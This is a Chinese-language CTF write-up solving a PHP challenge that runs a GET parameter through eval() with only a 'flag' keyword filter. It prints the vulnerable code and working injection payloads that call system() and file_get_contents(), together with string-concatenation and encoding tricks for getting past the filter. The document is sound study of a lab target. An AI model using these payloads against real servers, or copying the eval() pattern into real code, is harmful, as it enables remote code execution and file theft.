前情提要
分享有趣CTF题目,记录学习过程
题目(带注释,方便理解)
<?php
// 开启PHP源代码高亮显示,输出当前文件内容(用于调试/展示)
highlight_file(__FILE__);
// 关闭所有错误报告,防止敏感信息泄露
error_reporting(0);
// 获取GET请求参数'c'的值,用户可通过URL传入代码(如?c=phpinfo())
$c = $_GET['c'];
// 检查输入$c中是否包含"flag"字符串(不区分大小写)
// 如果不存在"flag"则执行eval,否则跳过(安全过滤)
if(!preg_match("/flag/i",$c)){
// 执行用户输入的PHP代码(存在代码注入漏洞)
eval($c);
}
// PHP结束标记
?>
题目介绍
此代码:
高危函数:
eval()
:可执行任意代码,是漏洞根源$_GET
:直接接收用户输入,未做过滤
脆弱防护:
仅过滤"flag"关键词,可通过拼接/编码绕过
无其他安全限制(如函数黑名单、长度限制等)
典型的代码注入漏洞。
eval()
函数执行通过c
参数传递的任意 PHP 代码只有一个限制 - 代码不能包含单词 “flag”。
目标
获取隐藏在服务器上的真实 flag
(通常格式为 flag{xxx}
)
初步思考解决方法
使用其他方法读取文件 :
scandir()
列出目录内容file_get_contents()
或readfile()
替换为我们发现的文件名
绕过 “flag” 限制 :
使用字符串连接:
fl
。银
使用十六进制/八进制编码:\
x66\x6c\x61\x67
使用 base64 编码
有效负载示例 :
列出文件:
?c=print_r(scandir('.'));
读取文件:
?c=echo file_get_contents('fl'.'ag.php');
系统命令:
?c=system('ls');
规划流程图
正式解题
1.信息采集
因为是小型比赛,系统不严格,获取信息较为方便。
我们可以通过下面命令查看详细的目录结构
网站网址/?c=system('ls -la /');
作者使用上述方式找到的文件目录
total 76 drwxr-xr-x 1 root root 4096 Jun 21 14:06 . drwxr-xr-x 1 root root 4096 Jun 21 14:06 .. -rwxr-xr-x 1 root root 0 Jun 21 14:06 .dockerenv drwxr-xr-x 1 root root 4096 Jan 31 2019 bin drwxr-xr-x 5 root root 320 Jun 21 14:06 dev drwxr-xr-x 1 root root 4096 Jun 21 14:06 etc -rw-r--r-- 1 root root 43 Jun 21 14:06 flag -rwxr-xr-x 1 root root 78 Jun 18 12:00 flag.sh drwxr-xr-x 1 root root 4096 Jan 31 2019 home drwxr-xr-x 1 root root 4096 Oct 18 2019 lib drwxr-xr-x 5 root root 4096 Jan 30 2019 media drwxr-xr-x 2 root root 4096 Jan 30 2019 mnt dr-xr-xr-x 230 root root 0 Jun 21 14:06 proc drwx------ 1 root root 4096 Jan 31 2019 root drwxr-xr-x 1 root root 4096 Oct 18 2019 run drwxr-xr-x 1 root root 4096 Oct 18 2019 sbin drwxr-xr-x 2 root root 4096 Jan 30 2019 srv dr-xr-xr-x 13 root root 0 Jun 21 14:06 sys drwxrwxrwt 1 root root 4096 Oct 18 2019 tmp drwxr-xr-x 1 root root 4096 Oct 18 2019 usr drwxr-xr-x 1 root root 4096 Jan 31 2019 var
2.定点爆破
根据上述获取的目录结构,找寻带有Flag的文件名称(如果文件过多,可以将所有文件给ai,让ai帮忙找)
很明显上面出现了flag与flag.sh两个关键文件
/flag
- 普通文件
/flag.sh
- 可执行脚本
3.文件分析
查看flag.sh脚本内容
网站网址/?c=system('cat /fla*.sh');
不出意外直接碰壁,得到了
#!/bin/sh sed -i "s/flag{fakeflag}/$GZCTF_FLAG/" /flag export GZCTF_FLAG=""
上述内容表示flag.sh
会将环境变量 $GZCTF_FLAG
的真实值替换到 /flag
文件中,然后清空该环境变量。
4.多种方法集中尝试
使用PHP函数绕过关键词过滤与文件读取限制
网站网址/?c=echo file_get_contents('/fl'.'ag');
得到了 flag{480cb6ab-d6b3-4625-98a3-5a1e45f4ed46}
不出意外成功解题。
小结
看流程图就行了,采用的php函数绕过限制,,成功输出flag。